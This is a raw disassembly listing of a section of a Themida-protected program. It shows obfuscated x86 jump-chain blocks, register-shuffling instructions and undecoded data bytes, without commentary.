loc_56018B: ; CODE XREF: Themida_:00552E42j
add ebx, eax
pop eax
push edi
mov edi, 4
sub ebx, edi
mov edi, [esp]
add esp, 4
jmp loc_555470
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 2637BD55h, 6C81108Ch, 4260424h, 0DAE92573h, 81FFFF80h
dd 4C2h, 24148700h, 0B652665Ch, 52506678h, 5266D0B6h, 12454F6h
dd 1F8BE9h, 24148900h, 8809B353h, 0D6E8E9DAh, 0E95DFFFFh
dd 0FFFEF8F3h, 0DF0E33B9h, 20D2E970h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5601F2: ; CODE XREF: Themida_:005539FDj
pop eax
sub edx, 79CC6AAFh
sub edx, eax
add edx, 79CC6AAFh
jmp loc_555C12
; ---------------------------------------------------------------------------
dw 3489h
dd 0BE565724h, 31B13A4Ah, 2115BEBFh, 5EF70128h, 24348157h
dd 71C1760Eh, 8124348Bh, 4C4h, 0EF85E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56022E: ; CODE XREF: Themida_:0054EADAj
shl ecx, 5
add ecx, 5F291696h
push 2702h
mov [esp], ebp
mov ebp, 1E0B5BEDh
add ecx, ebp
pop ebp
mov ebx, ecx
jmp loc_558D71
; ---------------------------------------------------------------------------
loc_56024E: ; CODE XREF: Themida_:0055A1F6j
mov ebp, 27970967h
mov esi, ebp
pop ebp
push eax
mov eax, 43B66794h
jmp loc_55A8CD
; ---------------------------------------------------------------------------
db 87h, 14h, 24h
dd 750EE95Ch, 489FFFFh, 46824h, 9EE90000h, 66FFFF16h, 5724048Bh
dd 0C781E789h, 4, 4EF81h, 3C870000h, 14895C24h, 68E28924h
dd 0F07h, 83240C89h, 3C8904ECh, 417D6824h, 3C8B4445h, 4C48324h
dd 81E7D14Fh, 8A82FCF7h, 0E9F98988h, 0FFFF4790h, 31E9F801h
db 46h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5602C3: ; CODE XREF: Themida_:0055589Ej
push eax
dec dword ptr [esp]
pop eax
xor eax, 250109Bh
add ecx, eax
pop eax
xchg ecx, [esp]
pop esp
xchg eax, edx
push 0B40h
mov [esp], edx
mov edx, 1
and eax, edx
push dword ptr [esp]
pop edx
sub esp, 4
mov [esp], esi
jmp loc_560DFC
; ---------------------------------------------------------------------------
dw 0C581h
dd 0E7A61CDh, 0FF8D9FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560301: ; CODE XREF: Themida_:0054F4C4j
xchg ecx, [esp]
pop esp
mov [esp], ecx
mov ecx, 8312901h
and esi, ecx
pop ecx
and esi, 6C6F2684h
not esi
xor esi, 0A1D2F262h
sub edx, 5F016DE1h
add edx, esi
jmp loc_55BC35
; ---------------------------------------------------------------------------
db 81h
dd 0D2B5DF6h, 81DEF75Eh, 24006EF6h, 0E9F201A6h, 159Ah
dd 24048B66h, 5B3568h, 34BE900h, 0C4810000h, 4, 8904EC83h
dd 0C3B82404h, 814BC22Fh, 87E26C5h, 0BEED8141h, 295BFC27h
dd 44E7E9C5h, 31ADFFFFh, 4EC83D8h, 0BA241489h, 4DD46B42h
dd 0E901C283h, 0FFFFBFB2h
; ---------------------------------------------------------------------------
loc_560388: ; CODE XREF: Themida_:0055569Aj
inc edi
push 0
jmp loc_560CAE
; ---------------------------------------------------------------------------
db 83h
dd 0ADE904C4h
db 3, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56039B: ; CODE XREF: Themida_:0056147Cj
xor ebx, edi
pop edi
mov edx, ebx
mov ebx, [esp]
add esp, 4
and ecx, edx
push dword ptr [esp]
pop edx
jmp loc_55C23F
; ---------------------------------------------------------------------------
dd offset dword_525048+220h
dd 243C8900h, 42474FFh, 24048F5Fh, 0FFB935E9h, 243C33FFh
dd 33243C31h, 0ACE9243Ch, 66000021h, 6659CD68h, 51240489h
dd 0CC885AB1h, 6BEF8059h, 0C780E700h, 61E9E96Bh, 0F281FFFFh
dd 1E637DBh, 4E92C281h, 0D3010B64h, 7EBC15Ah, 0FFE133E9h
dd 241C89FFh, 623D7868h, 0EBC15B00h, 0A5F38107h, 15C5DFEh
dd 241C8BD8h, 6804C483h, 97Dh, 0BD242C89h, 1DFA227Ah, 0EC83E5D1h
dd 240C8904h, 0FF4386E9h, 77C381FFh, 167CE49h, 77EB81CBh
dd 0E967CE49h, 0FFFFDA76h
; ---------------------------------------------------------------------------
loc_560450: ; CODE XREF: Themida_:0055841Aj
add ebp, 3313981Ch
jmp loc_55F3F3
; ---------------------------------------------------------------------------
loc_56045B: ; CODE XREF: Themida_:0055B749j
add esp, 4
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 6C586992h
add ebp, 1
xor ebp, eax
xor eax, ebp
xor ebp, eax
push eax
jmp loc_561C29
; ---------------------------------------------------------------------------
db 55h
dd 3181B850h, 91E96EBEh
db 20h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560493: ; CODE XREF: Themida_:0055E5C4j
add eax, 4
jmp loc_55B938
; ---------------------------------------------------------------------------
db 68h, 5Ah, 14h
dd 0C890000h, 243C3124h, 31243C33h, 0DFE9243Ch
db 0Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5604B3: ; CODE XREF: Themida_:0054F3C0j
pop ebx
sub esp, 2
jmp loc_5563E1
; ---------------------------------------------------------------------------
loc_5604BF: ; CODE XREF: Themida_:0054DF16j
push dword ptr [esp]
pop eax
jmp loc_555CB0
; ---------------------------------------------------------------------------
dd 8022C380h, 0D828CCC3h, 81241C8Bh, 4C4h, 0E9F82800h
dd 0FFFF1AA3h, 6824248Bh, 7086h, 89243489h, 4C681E6h, 81000000h
dd 4C6h, 24348700h, 0E924248Bh, 0FFFED8C1h, 24148B66h
dd 5E08950h, 4, 632068h, 241C8900h, 2BBh, 7162E900h, 0F65BFFFFh
dd 0CE13E9DAh, 895CFFFFh, 0D2BB241Ch, 0E96A337Ch, 0FFFFED33h
dd 96EBE95Ah, 0F381FFFFh, 8058C939h, 815BDF29h, 0EC03A2EFh
dd 0C1E95162h, 0FFFFFF7Bh, 1CE92434h, 5CFFFF88h, 0FEE4C6E9h
dd 240C87FFh, 2434895Ch, 0FF7C28E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56056D: ; CODE XREF: Themida_:00555884j
xor [esp], eax
xor eax, [esp]
jmp loc_54DFBE
; ---------------------------------------------------------------------------
dd 0D687F229h, 8324148Bh, 0E95504C4h, 0FFFFF06Eh, 4C481h
dd 0F4680000h, 89000078h, 5E542434h, 4C681h, 0EC810000h
dd 4, 0FF424EE9h, 4C481FFh, 0E9000000h, 0FFFF4348h, 353D68h
dd 242C8900h, 0B850E589h, 60FF05BBh, 5706E8C1h, 131AD0BFh
dd 5FF80122h, 2404FF50h, 0EC815658h, 4, 0BD242C89h, 5C6D6C9Dh
dd 398EED81h, 6BE91CABh, 0C0FFFEF8h, 0C38003E3h, 72E930h
dd 5457FFFFh, 81243C8Bh, 4C4h, 50565500h, 4B8h, 0E9C68900h
dd 1917h, 35BEB850h, 0C3295C39h, 0A1CCE958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560622: ; CODE XREF: Themida_:0054EDC1j
mov edx, [esp]
add esp, 4
jmp loc_559E70
; ---------------------------------------------------------------------------
db 58h, 81h, 0C4h
dd 4, 0FFD035E9h, 0E9D088FFh, 0FFFF0B15h, 148BD301h, 4C48324h
dd 76E9C231h, 0FFFFFED7h, 48B2434h, 0D7B0E924h, 0BD55FFFFh
dd 22561567h, 0D3F7DD87h, 0E5C1DD87h, 6EDC104h, 0F0C8C581h
dd 0C68163DDh, 6270558h, 0EE81EE29h, 6270558h, 50FEE95Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560686: ; CODE XREF: Themida_:0055AB67j
add edi, 51766950h
sub edi, eax
sub edi, 51766950h
jmp loc_553DDC
; ---------------------------------------------------------------------------
db 89h, 0Ch, 24h
dd 0EC83E189h, 242C8904h, 1F1DE9h
db 0
; ---------------------------------------------------------------------------
loc_5606A9: ; CODE XREF: Themida_:00561E09j
mov ebx, 36BFF7ADh
sub ebx, 19F92B8Bh
add ebx, ecx
add ebx, 19F92B8Bh
mov ecx, [esp]
push 7DBCh
mov [esp], ebx
push esp
pop ebx
push eax
jmp loc_55257F
; ---------------------------------------------------------------------------
db 51h
dd 0C1815954h, 4, 8C685752h, 5F5D372Dh, 0FF5AF1E9h, 242C8BFFh
dd 6D57E951h, 0CA89FFFFh, 78BD5559h, 0E9057453h, 0FFFEFB42h
; ---------------------------------------------------------------------------
loc_5606FC: ; CODE XREF: Themida_:0054E932j
push ecx
push ebp
add dword ptr [esp], 23F014EEh
pop ecx
sub ecx, 23F014EEh
jmp loc_5500E3
; ---------------------------------------------------------------------------
dd offset dword_516448+720h
align 2
dw 3489h
dd 4EC8324h, 81242489h, 42404h, 348B0000h, 4C48124h, 81000000h
dd 4C6h, 0BCBA5200h, 8165C976h, 0C976B8EAh, 0E9D60165h
dd 0FFFFD9D5h, 81E38953h, 4C3h, 4EB8100h, 0E9000000h, 0FFFF94F8h
dd 7CF281h, 0BF571BACh, 78007F04h, 0FF6669E9h, 0E9F9F6FFh
dd 0FFFF3D81h
; ---------------------------------------------------------------------------
loc_560774: ; CODE XREF: Themida_:0055FBDDj
pop ebp
add eax, ecx
mov ecx, [esp]
add esp, 4
sub esp, 4
jmp loc_554187
; ---------------------------------------------------------------------------
db 1
dd 53EE81FEh, 81269717h, 0AB2FF0C6h, 243C8B3Dh, 0E904C483h
dd 0FFFFD225h, 5573E951h, 0C483FFFFh, 29E06804h, 2C890000h
dd 5AD9BD24h, 0EA291999h, 0E9242C8Bh, 0FFFFC521h, 4BEh
dd 8BF72900h, 0C4812434h, 4, 0E9243C87h, 0FFFFE601h, 4E9835Eh
dd 5C240C87h, 53242489h, 4BBh, 7D7FE900h, 77FFFFFFh, 0D5CBE92Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5607FA: ; CODE XREF: Themida_:00554F59j
sub esp, 4
mov [esp], edx
jmp loc_56091A
; ---------------------------------------------------------------------------
loc_560808: ; CODE XREF: Themida_:00557C1Ej
sub ebx, 79095BFAh
add ebx, esi
add ebx, 79095BFAh
jmp loc_556021
; ---------------------------------------------------------------------------
db 48h
dd 0FFC2C3E9h, 4BEFFh, 0ED810000h, 57832A00h, 0FF9705E9h
dd 2407BEFFh, 0C6815F23h, 7FEF2759h, 7503B951h, 0D9F72F4Fh
dd 18FFC981h, 0C1810997h, 3C269CB6h, 4659CE21h, 0FEDFFBE9h
dd 28E981FFh, 17A1A48h, 14BA52D1h, 0F77F6233h, 0CCC281DAh
dd 0C1271848h, 0EA8108EAh, 868D6DEDh, 0EDE9D101h, 5FFFFEFEh
dd 0FF1EAEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560885: ; CODE XREF: Themida_:0055F9FCj
mov [esp], esp
push 5D70h
mov [esp], edi
mov edi, 4
jmp loc_557BA8
; ---------------------------------------------------------------------------
dw 2D66h
dd 1662000h, 14E958C3h
db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5608A7: ; CODE XREF: Themida_:0054E6AFj
dec eax
sub eax, 429D1C25h
xor eax, 0BB9123D1h
jmp loc_553F92
; ---------------------------------------------------------------------------
db 8Bh
dd 0F368240Ch, 89000009h, 87E9241Ch
db 19h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5608C7: ; CODE XREF: Themida_:0054EF66j
mov [esp], ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
mov ebp, [esp]
jmp loc_553EAA
; ---------------------------------------------------------------------------
loc_5608DC: ; CODE XREF: Themida_:005587AEj
push eax
jmp loc_54DE1A
; ---------------------------------------------------------------------------
loc_5608E2: ; CODE XREF: Themida_:0055FAC3j
push eax
mov eax, 23947800h
mov ebp, eax
pop eax
jmp loc_55047C
; ---------------------------------------------------------------------------
dd 0CEFEC6FEh, 0EEC0D6F6h, 4EE8007h, 57E9F000h, 0E9000002h
dd 0FFFED4BDh, 4BE565Eh, 81000000h, 26595DEDh, 2CA1E915h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56091A: ; CODE XREF: Themida_:00560803j
mov ecx, [esp]
add esp, 4
push ecx
mov esi, [esp]
sub esp, 4
jmp loc_552DF3
; ---------------------------------------------------------------------------
loc_560932: ; CODE XREF: Themida_:005559F0j
xor ebp, 48CC5661h
jmp loc_562192
; ---------------------------------------------------------------------------
db 1, 0C2h, 58h
dd 0FFD0A6E9h, 242C87FFh, 2404285Ch, 0D473E99Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_560952: ; CODE XREF: Themida_:005542E1j
push ecx
push 4
jmp loc_552BDB
; ---------------------------------------------------------------------------
db 81h, 0C7h, 4
dd 83000000h, 66E904EFh
db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56096B: ; CODE XREF: Themida_:005623B5j
mov edi, 10h
and ebx, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push 52EBh
mov [esp], ebx
push esp
pop ebx
sub esp, 4
mov [esp], esi
jmp loc_55D012
; ---------------------------------------------------------------------------
loc_560996: ; CODE XREF: Themida_:00557664j
add esi, 0A0BA1E73h
add eax, esi
pop esi
jmp loc_558872
; ---------------------------------------------------------------------------
dd 5C240487h, 0FEFA35E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5609AD: ; CODE XREF: Themida_:0055E293j
add ebx, esi
jmp loc_5502D2
; ---------------------------------------------------------------------------
dd 82E9CA01h
db 0F6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_5609BB: ; CODE XREF: Themida_:005514C4j
inc ah
push ebx
mov bh, 9Bh
sub ah, bh
mov ebx, [esp]
add esp, 4
mov dh, ah
jmp loc_552FB4
; ---------------------------------------------------------------------------
db 0BDh
dd 3EF2FA4h, 8904EC83h, 0B5B9240Ch, 2915C34Ch, 860559C8h
dd 0E976BC1Bh, 0FFFF0F55h
; ---------------------------------------------------------------------------
loc_5609EC: ; CODE XREF: Themida_:005565CCj
add dword ptr [esp], 25F2BC8h
pop edi
sub edi, 25F2BC8h
mov edx, [esp]
add esp, 4
add dword ptr [esp+4], 11070242h
add [esp+4], edi
sub dword ptr [esp+4], 11070242h
pop edi
jmp loc_55240D
; ---------------------------------------------------------------------------
loc_560A1A: ; CODE XREF: Themida_:00558617j
mov ecx, [esp]
add esp, 4
add ecx, ebx
mov ebx, [esp]
jmp loc_550E50
; ---------------------------------------------------------------------------
dw 66B9h
dd 495B8F66h, 0C1C18141h, 812A091Eh, 365F8DF1h, 80E9537Ah
dd 66FFFFEBh, 5866C209h, 93C28166h, 0E2C16655h, 0FB8BE908h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_560A56: ; CODE XREF: Themida_:0055F2DBj
pop ecx
push esi
mov esi, 4
add eax, esi
pop esi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
push ebp
push esp
pop ebp
jmp loc_55F78B
; ---------------------------------------------------------------------------
dw 0C483h
dd 0CABF5704h, 0E94C7835h, 0FFFEDD6Fh, 2CB368h, 242C8900h
dd 4EC81h, 0EC810000h, 4, 24048F54h, 0FF7631E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560A9D: ; CODE XREF: Themida_:00560178j
push 5191h
mov [esp], esi
push ebx
mov ebx, 1D9C6E58h
xor ebx, 17C40997h
xor ebx, 60883AEEh
shr ebx, 4
sub ebx, 65711767h
jmp loc_55BA22
; ---------------------------------------------------------------------------
db 89h, 2Ch, 24h
dd 8904EC83h, 4812424h, 424h, 9C92E900h, 0E955FFFFh, 0FFFF87DBh
; ---------------------------------------------------------------------------
loc_560AE0: ; CODE XREF: Themida_:0055A3EAj
push 3955h
mov [esp], ecx
mov ecx, 745D795Ah
add ecx, 0ACEE038h
shl ecx, 8
not ecx
jmp loc_55F912
; ---------------------------------------------------------------------------
db 5Bh, 89h, 0FAh
dd 0FF4E9DE9h, 148966FFh, 9C506624h, 0FED2B4E9h, 8BDA01FFh
dd 0C481241Ch, 4, 6803EAC1h, 1E24h, 0B8240489h, 0FFFFFFFFh
dd 1484EA81h, 68E97594h, 0D1FFFF0Ch, 4A91E9EBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560B3E: ; CODE XREF: Themida_:0055E968j
push ebx
mov ebx, 3A936C9h
push edx
mov edx, 380462BBh
jmp loc_5580B1
; ---------------------------------------------------------------------------
loc_560B4F: ; CODE XREF: Themida_:0055DF78j
mov ecx, [esp]
add esp, 4
jmp loc_55B541
; ---------------------------------------------------------------------------
dw 8B5Ah
dd 6CE9241Ch
db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560B63: ; CODE XREF: Themida_:0055A767j
mov ebx, 999439Dh
jmp loc_55DDC9
; ---------------------------------------------------------------------------
db 81h, 0C7h, 4
dd 68000000h, 78A8h, 0BB241C89h, 4, 335BDF29h, 3C31243Ch
dd 243C3324h, 80AE9h, 0EC835D00h, 24348904h, 7D168h, 24048900h
dd 0FFAD61E9h, 0C8B66FFh, 0E0895024h, 405h, 4BD5500h, 29000000h
dd 36E95DE8h, 53FFFF2Dh, 0D3E8E954h, 0EC81FFFEh, 4, 0FF334EE9h
dd 9AC381FFh, 0E9B2AE8Ah, 0FFFF5BF3h, 2B826852h, 2C890000h
dd 242C8124h, 63830872h, 0FED8ACE9h, 1C8B5EFFh, 1BABE924h
dd 148B0000h, 5F545724h, 4C781h, 0C7810000h, 4, 0E9243C87h
dd 0FFFF4E1Bh, 3272EE81h, 0F531AB67h, 5DEB895Eh, 4074F381h
dd 0DE0136F1h, 0EE815B5Bh, 4, 2474FF56h, 48F5E04h, 0F451E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560C3E: ; CODE XREF: Themida_:005624B9j
pop dword ptr [esp]
mov esp, [esp]
inc ebx
sub ebx, 0FFFFFFFFh
add ebx, 0FFFFFFFFh
shl ebx, 5
add ebx, 0BADB3020h
and eax, ebx
jmp loc_553B96
; ---------------------------------------------------------------------------
dw 8150h
dd 4ECh, 2236E900h, 0C281FFFFh, 2995509Dh, 0EA81DA29h
dd 2995509Dh, 0A16EA81h, 0EA810A96h, 69726D52h, 0FF34F8E9h
dd 4C481FFh, 21000000h, 34FF1C47h, 89505824h, 405E0h, 4050000h
dd 87000000h, 248B2404h, 0D117E924h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_560CAE: ; CODE XREF: Themida_:0056038Ej
add dword ptr [esp], 3682C5Bh
sub [esp], edi
sub dword ptr [esp], 3682C5Bh
pop edi
sub edi, 0DF5DFBFBh
add ecx, edi
pop edi
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_54FA6F
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 243C8900h, 0FFDD51E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560CE9: ; CODE XREF: Themida_:0055EEE0j
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
shl word ptr [esp], cl
pushf
jmp loc_54DDC5
; ---------------------------------------------------------------------------
dd 33243431h, 27E92434h, 31FFFF70h, 91D0F7C1h, 1035E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560D26: ; CODE XREF: Themida_:00558BA4j
pop ebx
jmp loc_5623BA
; ---------------------------------------------------------------------------
dd 4EC81h, 85E90000h, 59FFFED5h, 0FF3152E9h, 4C681FFh
dd 55000000h, 790FA1BDh, 33ED8111h, 4D239071h, 6A8ED81h
dd 0CD8148A7h, 0F487C06h, 0FFC3ED81h, 0EE01AF49h, 0FF25CAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560D69: ; CODE XREF: Themida_:00557EB4j
mov ebx, esp
push 29C7h
mov [esp], esi
mov esi, 4
add ebx, esi
pop esi
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5511DE
; ---------------------------------------------------------------------------
dw 0E5BFh
dd 81686E1Bh, 22639CFh, 0D45EE91Fh, 0EC81FFFFh, 4, 0FF067FE9h
dd 5BDF29FFh, 56E468h, 243C8900h, 42474FFh, 83243C8Bh
dd 3CE904C4h, 68FFFEE8h, 4D15h, 0E9240C89h, 0FFFF7A4Bh
dd 0FECFF4E9h, 0F72959FFh, 24148B5Eh, 0FF4EADE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_560DDD: ; CODE XREF: Themida_:0054E987j
mov [esp], esi
jmp loc_557C0D
; ---------------------------------------------------------------------------
db 81h, 0C7h, 0D6h
dd 89E8B12Ah, 0C1835FF9h, 0BEE981FFh, 0E9F04067h, 0FFFF825Bh
; ---------------------------------------------------------------------------
loc_560DFC: ; CODE XREF: Themida_:005602F1j
mov esi, esp
add esi, 4
push edx
push eax
mov eax, 5E2C7AEFh
dec eax
dec eax
inc eax
jmp loc_550AB8
; ---------------------------------------------------------------------------
aQissvhV db 'Q‰áSVhìv',0
dd 46E95E74h, 59FFFF03h, 0FFC140E9h, 81C629FFh, 7F4544C6h
dd 34335846h, 24343124h, 5C243433h, 0E9243489h, 0D31h
dd 56241C8Bh, 0C6815E54h, 4, 4C681h, 34330000h, 8A4E924h
dd 405FFFFh, 53000000h, 4BBh, 8BD80100h, 1E9241Ch, 81FFFFC9h
dd 0CF438FC2h, 55C2290Bh, 0CF438FBDh, 0BB2FE90Bh, 0D5F7FFFFh
dd 0BD55EB87h, 0DD4BF598h, 295DEB29h, 2434FFD8h, 6381E95Bh
dd 3431FFFFh, 24343324h, 2424D25Ch, 0CF17E99Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_560EAE: ; CODE XREF: Themida_:00551865j
sub esp, 4
jmp loc_55FD62
; ---------------------------------------------------------------------------
loc_560EB9: ; CODE XREF: Themida_:0055A05Ej
mov ebx, eax
pop eax
sub [esp+4], ebx
pop ebx
pop esi
push ebp
mov ebp, 31254B75h
add ebp, 0FFD31302h
jmp loc_55E453
; ---------------------------------------------------------------------------
db 81h
dd 0B06137EDh, 5DEE0170h, 1780EE81h, 875F2D8Ah, 0E95C2434h
dd 0FFFF325Bh, 171505ADh, 0D8016E73h, 6CE95253h, 1FFFFDEh
dd 83685BDDh, 89000053h, 4BF243Ch, 1000000h, 243C8BFDh
dd 4C481h, 2C870000h, 5F4DE924h, 0F781FFFFh, 85DBF412h
dd 0FFCF57E9h, 0C18358FFh, 240C3304h, 33240C31h, 57E9240Ch
dd 89FFFF40h, 2BE2434h, 81472D14h, 3C5A44C5h, 81F5011Ah
dd 3C5A44EDh, 0E0E95E1Ah, 8BFFFF88h, 71E92404h
db 8Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560F5F: ; CODE XREF: Themida_:0054DEBDj
xor edi, 15CFABD5h
push ecx
mov ecx, 46082882h
jmp loc_550CFD
; ---------------------------------------------------------------------------
loc_560F70: ; CODE XREF: Themida_:00559BD8j
xor al, bh
mov ebx, [esp]
add esp, 4
jmp loc_55925C
; ---------------------------------------------------------------------------
dd 24048B66h, 0E9E78957h, 0FFFF52CDh, 44DAC281h, 0BFE92059h
dd 5FFFF74h, 1, 714C120Dh, 0E2D3E93Dh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560FA6: ; CODE XREF: Themida_:0055C9FDj
push ebp
push ecx
mov ecx, 139D404Dh
mov ebp, 50BDFC7Bh
add ebp, ecx
pop ecx
not ebp
push ebx
jmp loc_556520
; ---------------------------------------------------------------------------
db 58h, 0E9h, 1Bh
dd 0B5FFFF00h, 5495E966h, 433FFFFh, 2C895C24h, 0EECEE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560FD6: ; CODE XREF: Themida_:00550D1Aj
pop edx
add edx, 7BB252A3h
mov eax, [esp]
push ebp
jmp loc_55B08C
; ---------------------------------------------------------------------------
dw 0BB53h
dd 3A2A4829h, 0FED5BFE9h, 0D8E956FFh
db 0D1h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_560FF7: ; CODE XREF: Themida_:00557A90j
sub esi, ebp
pop ebp
push esi
mov esi, 2EDE055Ah
shr esi, 3
xor esi, 29D2F849h
sub ecx, esi
pop esi
add ecx, esi
add ecx, 2C0938E2h
pop esi
sub ecx, 2
push 0D85h
mov [esp], ecx
push dword ptr [esp+4]
jmp loc_54E59C
; ---------------------------------------------------------------------------
dd 0B3F4E981h, 0CF29E632h, 58350559h, 0F8014597h, 9758352Dh
dd 243C8B45h, 4C481h, 0FBE90000h, 5CFFFEF7h, 3C8BF989h
dd 4C48124h, 31000000h, 240C8BC8h, 53E68956h, 4BBh, 61D3E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56106E: ; CODE XREF: Themida_:0054F6C2j
add esp, 4
shr eax, 8
xor eax, ecx
jmp loc_555868
; ---------------------------------------------------------------------------
dw 0A1B8h
dd 0E9635C61h, 0FFFF8128h, 24148B5Bh, 8104C483h, 313F05C9h
dd 20E98137h, 1243734h, 8B5959CAh, 0C4832434h, 56EA8104h
dd 12E9953h, 0ADA0E9C2h, 8B66FFFFh, 57682404h, 89000059h
dd 8953243Ch, 4C381E3h, 81000000h, 4EBh, 241C8700h, 678CE95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5610D6: ; CODE XREF: Themida_:005551A8j
push dword ptr [edi+1Ch]
jmp loc_553A79
; ---------------------------------------------------------------------------
loc_5610DE: ; CODE XREF: Themida_:00561848j
push eax
mov eax, 1A290087h
sub ebx, 5B7A6B47h
sub ebx, eax
add ebx, 5B7A6B47h
pop eax
sub esp, 4
mov [esp], ebx
mov ebx, 8B32D90h
jmp loc_561297
; ---------------------------------------------------------------------------
loc_561106: ; CODE XREF: Themida_:0054F09Ej
pop dword ptr [esp]
pop esp
sub ebp, 0FFFFFFFFh
jmp loc_553B30
; ---------------------------------------------------------------------------
db 51h, 53h, 68h
dd 0E434BFCh, 0D0EB815Bh, 89FED4F8h, 0CE295BD9h, 0FF6DAEE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56112D: ; CODE XREF: Themida_:0055406Aj
or ecx, edx
pop edx
jmp loc_561DC2
; ---------------------------------------------------------------------------
db 81h, 0C7h, 4
dd 83000000h, 3C8704C7h, 0CE295C24h, 24348759h, 0FF7703E9h
dd 0E9E189FFh, 132h
; ---------------------------------------------------------------------------
loc_561154: ; CODE XREF: Themida_:00551C10j
or edi, 420B0188h
xor edi, 1F3C91FFh
mov ebp, edi
jmp loc_552E03
; ---------------------------------------------------------------------------
db 29h
dd 0BD22E9CDh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56116E: ; CODE XREF: Themida_:0055A7E9j
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
and eax, esi
mov esi, [esp]
push esi
jmp loc_5596D1
; ---------------------------------------------------------------------------
dw 0EE81h
dd 2, 31243433h, 69E92434h, 0B8FFFF63h, 17DC5669h, 0FED98FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5611A5: ; CODE XREF: Themida_:0055B5D2j
add edx, 3A954C27h
jmp loc_554012
; ---------------------------------------------------------------------------
dd 8702C383h, 805C241Ch, 0C28005C2h, 0DEA80BFh, 0FFE849E9h
dd 595E51FFh, 2602C681h, 0EB8118FFh, 5033515Bh, 1393C381h
dd 0F301407Eh, 0FF6A54E9h, 0E95658FFh, 0FFFF4C14h
; ---------------------------------------------------------------------------
loc_5611E8: ; CODE XREF: Themida_:0055CABCj
mov edi, ecx
pop ecx
jmp loc_553AE5
; ---------------------------------------------------------------------------
dd 4BBh, 0FC18100h, 10AFD34h, 0FE981D9h, 8B0AFD34h, 0C483241Ch
dd 240C8704h, 0FF603AE9h, 8BE981FFh, 291BB16Ch, 0DF14E9C8h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_56121E: ; CODE XREF: Themida_:005597AEj
add esi, eax
pop eax
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esi
push ecx
push 28450B09h
jmp loc_554382
; ---------------------------------------------------------------------------
loc_561239: ; CODE XREF: Themida_:0055DB5Fj
add ecx, 43B2406Bh
inc ecx
push ecx
jmp loc_55C9DA
; ---------------------------------------------------------------------------
dw 0DE86h
dd 0D8885066h, 0C388D0F6h, 0DE865866h, 95E95166h, 0BFFFFF9Ah
dd 273B1990h, 0E95FFB89h, 0FFFFBF78h, 0E951CF88h, 0FFFF930Ch
dd 4EC81h, 0FEE90000h, 81FFFF50h, 9067D7E2h, 0FC12E92Fh
dd 0C181FFFEh, 4, 8704C183h, 0EBE9240Ch
db 0FBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_561297: ; CODE XREF: Themida_:00561101j
shr ebx, 8
shr ebx, 4
push 339Ch
mov [esp], edi
jmp loc_552362
; ---------------------------------------------------------------------------
dd offset dword_598468
dw 8900h
dd 0F9B42404h, 0DCF6D4F6h, 0E950B353h, 0FFFF7E1Ch
; ---------------------------------------------------------------------------
loc_5612C0: ; CODE XREF: Themida_:0055659Dj
sub esi, 0FE54D4Ch
push edx
jmp loc_55D85D
; ---------------------------------------------------------------------------
dd 5C242C87h, 89243489h, 4C681E6h, 53000000h, 347FE2BBh
dd 0DABAE948h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5612E6: ; CODE XREF: Themida_:005627FDj
sub eax, 45BF0095h
add ecx, eax
pop eax
mov eax, [esp]
add esp, 4
push ebp
mov ebp, 4
sub ecx, ebp
pop ebp
push 6CF1h
jmp loc_56292A
